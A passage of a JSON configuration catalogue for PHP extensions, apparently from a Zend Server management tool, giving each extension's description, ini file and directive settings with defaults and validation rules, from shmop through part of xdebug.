                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "shmop": {
        "name": "shmop",
        "extensionId": "shmop",
        "isDaemon": 0,
        "shortDescription": "Shared Memory",
        "longDescription": "Shmop is an easy-to-use set of functions that allows PHP to read, write, create and delete Unix shared memory segments.",
        "iniFileName": "shmop.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "simple_cvs": {
        "name": "simple_cvs",
        "extensionId": "simple_cvs",
        "isDaemon": 0,
        "shortDescription": "Simple CVS",
        "longDescription": "",
        "iniFileName": "simple_cvs.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "SimpleXML": {
        "name": "SimpleXML",
        "extensionId": "simplexml",
        "isDaemon": 0,
        "shortDescription": "Simplified XML Document Access",
        "longDescription": "The SimpleXML extension provides a very simple and easily usable toolset to convert XML to an object that can be processed with normal property selectors and array iterators.\nNote:\nlibxml libraries must be installed in order for this extension to function.",
        "iniFileName": "simplexml.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "snmp": {
        "name": "snmp",
        "extensionId": "snmp",
        "isDaemon": 0,
        "shortDescription": "SNMP",
        "longDescription": "",
        "iniFileName": "snmp.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "soap": {
        "name": "soap",
        "extensionId": "soap",
        "isDaemon": 0,
        "shortDescription": "SOAP Server and Client Implementation",
        "longDescription": "This extension can be used to write SOAP Servers and Clients.\nNote:\nlibxml libraries must be installed in order for this extension to function.",
        "iniFileName": "soap.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "soap.wsdl_cache_enabled": {
                "shortDescription": "Enables or disables WSDL caching feature",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "soap.wsdl_cache_dir": {
                "shortDescription": "Sets the directory name where SOAP extension will put cache files",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "soap.wsdl_cache_ttl": {
                "shortDescription": "Number of seconds cached file will be used instead of original",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "soap.wsdl_cache": {
                "shortDescription": "If soap.wsdl_cache_enabled  is on, this setting determines the type of caching",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:4:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "soap.wsdl_cache_limit": {
                "shortDescription": "Maximum number of in-memory cached WSDL files",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "sockets": {
        "name": "sockets",
        "extensionId": "sockets",
        "isDaemon": 0,
        "shortDescription": "Low-Level Socket Communications",
        "longDescription": "The socket extension implements a low-level interface to the socket communication functions based on the popular BSD sockets, providing the possibility to act as a socket server as well as a client.",
        "iniFileName": "sockets.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "sockets.use_system_read": {
                "shortDescription": "Use the system read() function instead of the php_read() wrapper",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "sodium": {
        "name": "sodium",
        "extensionId": "sodium",
        "isDaemon": 0,
        "shortDescription": "Wrapper for the Sodium cryptographic library",
        "longDescription": "A simple, low-level PHP extension for libsodium.",
        "iniFileName": "sodium.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "SPL": {
        "name": "SPL",
        "extensionId": "spl",
        "isDaemon": 0,
        "shortDescription": "Standard PHP Library",
        "longDescription": "Standard PHP Library(SPL) is a collection of interfaces and classes that are meant to solve standard problems.",
        "iniFileName": "spl.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "SQLite": {
        "name": "SQLite",
        "extensionId": "sqlite",
        "isDaemon": 0,
        "shortDescription": "SQLite DB Access",
        "longDescription": "This is an extension for the SQLite Embeddable SQL Database Engine. SQLite is a C library that implements an embeddable SQL database engine. Programs that link with the SQLite library can have SQL database access without running a separate RDBMS process.",
        "iniFileName": "sqlite.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "sqlite.assoc_case": {
                "shortDescription": "Whether the names of the columns are returned in their natural case or as uppercase or lowercase indexes",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "sqlite3": {
        "name": "sqlite3",
        "extensionId": "sqlite3",
        "isDaemon": 0,
        "shortDescription": "SQLite Version 3 Database Support",
        "longDescription": "This extension provides support for SQLite version 3 databases.",
        "iniFileName": "sqlite3.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "sqlite3.extension_dir": {
                "shortDescription": "Path to the directory where the loadable extensions for SQLite reside",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sqlite3.defensive": {
                "shortDescription": "SQLite defensive mode flag (only available from SQLite 3.26+)",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "sqlsrv": {
        "name": "sqlsrv",
        "extensionId": "sqlsrv",
        "isDaemon": 0,
        "shortDescription": "Microsoft SQL Server 2005",
        "longDescription": "The SQL Server 2005 Driver for PHP is a PHP 5 extension that provides data access to SQL Server 2005 and SQL Server 2008. The extension provides a procedural interface for accessing data in all versions (including Express) of SQL Server 2005 and SQL Server 2008. The SQL Server 2005 Driver for PHP API includes support for Windows Authentication, transactions, parameter binding, streaming, metadata access, and error handling.",
        "iniFileName": "sqlsrv.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "sqlsrv.LogSeverity": {
                "shortDescription": "The LogSeverity setting is used to specify what to log after logging has been turned on.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sqlsrv.LogSubsystems": {
                "shortDescription": "The LogSubsystems setting is used to turn on logging for subsystems.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sqlsrv.ClientBufferMaxKBSize": {
                "shortDescription": "The size of the buffer that holds the result set.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1024"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sqlsrv.WarningsReturnAsErrors": {
                "shortDescription": "The WarningsReturnAsErrors option is used to specify whether warnings generated by calls to sqlsrv functions are treated as errors.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sqlsrv.SetLocaleInfo": {
                "shortDescription": "Set locale info.",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:0;s:4:\"NONE\";i:1;s:8:\"LC_CTYPE\";i:2;s:6:\"LC_ALL\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "ssh2": {
        "name": "ssh2",
        "extensionId": "ssh2",
        "isDaemon": 0,
        "shortDescription": "SSH2 Remote Servers Access",
        "longDescription": "Provides bindings to the functions of libssh2 which implements the SSH2 protocol.",
        "iniFileName": "ssh2.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "standard": {
        "name": "standard",
        "extensionId": "standard",
        "isDaemon": 0,
        "shortDescription": "Standard PHP Functions",
        "longDescription": "Standard PHP functions.",
        "iniFileName": "standard.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "stats": {
        "name": "stats",
        "extensionId": "stats",
        "isDaemon": 0,
        "shortDescription": "Extension that provides routines for statistical computation",
        "longDescription": "",
        "iniFileName": "stats",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "statsd": {
        "name": "statsd",
        "isDaemon": 1,
        "shortDescription": "Zend Statistics Daemon",
        "longDescription": "Zend Statistics Daemon",
        "iniFileName": "statsd.ini",
        "subPath": "",
        "directives": {
            "zend_statistics_daemon.log_verbosity_level": {
                "shortDescription": "The Log's verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics_daemon.flush_interval": {
                "shortDescription": "Update the database interval, in seconds",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "60"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics_daemon.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics_daemon.global_directives_ini_file": {
                "shortDescription": "Global Directives ini file.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "GLOBAL_DIRECTIVES_INI_FILE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_statistics_daemon.datacache.disk_usage_calc_min_interval": {
                "shortDescription": "The minimal time before running data cache disk usage",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "600"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "sybase": {
        "name": "sybase",
        "extensionId": "sybase",
        "isDaemon": 0,
        "shortDescription": "Sybase",
        "longDescription": "",
        "iniFileName": "sybase.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "sybase.allow_persistent": {
                "shortDescription": "Allow persistent Sybase connections",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybase.max_persistent": {
                "shortDescription": "Maximum number of persistent Sybase connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybase.max_links": {
                "shortDescription": "Maximum number of all Sybase connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybase.interface_file": {
                "shortDescription": "Sybase interface file",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybase.min_error_severity": {
                "shortDescription": "Sybase minimum error severity displayed",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybase.min_message_severity": {
                "shortDescription": "Sybase minimaum message severity",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybase.compatability_mode": {
                "shortDescription": "Sybase compatibility mode with PHP 3.0",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "sybase_ct": {
        "name": "sybase_ct",
        "extensionId": "sybase_ct",
        "isDaemon": 0,
        "shortDescription": "T support",
        "longDescription": "",
        "iniFileName": "sybase_ct.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "sybct.allow_persistent": {
                "shortDescription": "Allow persistent Sybase-CT connections",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybct.max_persistent": {
                "shortDescription": "Maximum number of persistent Sybase-CT connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybct.max_links": {
                "shortDescription": "Maximum number of all Sybase-CT connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybct.min_server_severity": {
                "shortDescription": "Sybase-CT minimum server message severity displayed",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybct.min_client_severity": {
                "shortDescription": "Sybase-CT minimum client message severity displayed",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybct.login_timeout": {
                "shortDescription": "The maximum time in seconds to wait for a connection attempt to succeed before returning failure",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybct.hostname": {
                "shortDescription": "The name of the host you claim to be connecting from, for display by sp_who",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sybct.deadlock_retry_count": {
                "shortDescription": "Allows you to to define how often deadlocks are to be retried",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "sysvmsg": {
        "name": "sysvmsg",
        "extensionId": "sysvmsg",
        "isDaemon": 0,
        "shortDescription": "System V Messages Support",
        "longDescription": "Enables System V messages support - The messaging functions may be used to send and receive messages to\/from other processes. They provide a simple and effective means of exchanging data between processes, without the need for setting up an alternative using Unix domain sockets.",
        "iniFileName": "sysvmsg.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "sysvsem": {
        "name": "sysvsem",
        "extensionId": "sysvsem",
        "isDaemon": 0,
        "shortDescription": "System V Semaphore Support",
        "longDescription": "Enables System V semaphore support - Semaphores may be used to provide exclusive access to resources on the current machine, or to limit the number of processes that may simultaneously use a resource.",
        "iniFileName": "sysvsem.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "sysvshm": {
        "name": "sysvshm",
        "extensionId": "sysvshm",
        "isDaemon": 0,
        "shortDescription": "System V Shared Memory Support",
        "longDescription": "Enables System V shared memory support - Shared memory may be used to provide access to global variables.",
        "iniFileName": "sysvshm.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "thrift_protocol": {
        "name": "thrift_protocol",
        "extensionId": "thrift_protocol",
        "isDaemon": 0,
        "shortDescription": "Thrift Software Framework",
        "longDescription": "Thrift is a software framework for scalable cross-language services development. Thrift allows you to define data types and service interfaces in a simple definition file.",
        "iniFileName": "thrift_protocol.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "tidy": {
        "name": "tidy",
        "extensionId": "tidy",
        "isDaemon": 0,
        "shortDescription": "Tidy HTML Clean and Repair",
        "longDescription": "Tidy is a binding for the Tidy HTML clean and repair utility which allows you to not only clean and otherwise manipulate HTML documents, but also traverse the document tree.\nNote:\nlibtidy libraries must be installed in order for this extension to function.",
        "iniFileName": "tidy.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "tidy.clean_output": {
                "shortDescription": "Turns on\/off the output repairing by Tidy",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "tidy.default_config": {
                "shortDescription": "Default path for tidy config file",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "tokenizer": {
        "name": "tokenizer",
        "extensionId": "tokenizer",
        "isDaemon": 0,
        "shortDescription": "Zend Engine-PHP Scanner Interface",
        "longDescription": "The tokenizer functions provide an interface to the PHP tokenizer embedded in the Zend Engine. Using these functions you may write your own PHP source analyzing or modification tools without having to deal with the language specification at the lexical level.",
        "iniFileName": "tokenizer.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "uploadprogress": {
        "name": "uploadprogress",
        "extensionId": "uploadprogress",
        "isDaemon": 0,
        "shortDescription": "File Upload Tracking",
        "longDescription": "An extension to track progress of a file upload.",
        "iniFileName": "uploadprogress.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "uploadprogress.file.filename_template": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "uploadprogress.file.contents_template": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "uploadprogress.get_contents": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "wddx": {
        "name": "wddx",
        "extensionId": "wddx",
        "isDaemon": 0,
        "shortDescription": "Web Distributed Data Exchange",
        "longDescription": "This extension includes functions intended to work with the Web Distributed Data Exchange(WDDX), a free and open XML-based technology allowing Web applications to easily exchange data with one another. Note: expat (Apache) libraries must be installed in order for this extension to function.",
        "iniFileName": "wddx.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "win32service": {
        "name": "win32service",
        "extensionId": "win32service",
        "isDaemon": 0,
        "shortDescription": "win32service Windows Extension",
        "longDescription": "The win32service extension is a Windows specific extension that allows PHP to communicate with the Service Control Manager to start, stop, register and unregister services, and even allows your PHP scripts to run as a service.",
        "iniFileName": "win32service.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "xdebug": {
        "name": "xdebug",
        "extensionId": "xdebug",
        "isDaemon": 0,
        "shortDescription": "Debugging and profiling capabilities",
        "longDescription": "Xdebug is a PHP extension which provides debugging and profiling capabilities",
        "iniFileName": "xdebug.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "xdebug.auto_trace": {
                "shortDescription": "When this setting is set to on, the tracing of function calls will be enabled just before the script is run. This makes it possible to trace code in the auto_prepend_file.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.cli_color": {
                "shortDescription": "xdebug cli color settings",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 2,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.collect_assignments": {
                "shortDescription": "This setting, defaulting to 0, controls whether Xdebug should add variable assignments to function traces.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.collect_includes": {
                "shortDescription": "This setting, defaulting to 1, controls whether Xdebug should write the filename used in include(), include_once(), require() or require_once() to the trace files.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "xdebug.collect_params": {
                "shortDescription": "This setting, defaulting to 0, controls whether Xdebug should collect the parameters passed to functions when a function call is recorded in either the function trace or the stack trace.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 4,
                    "regex": "",
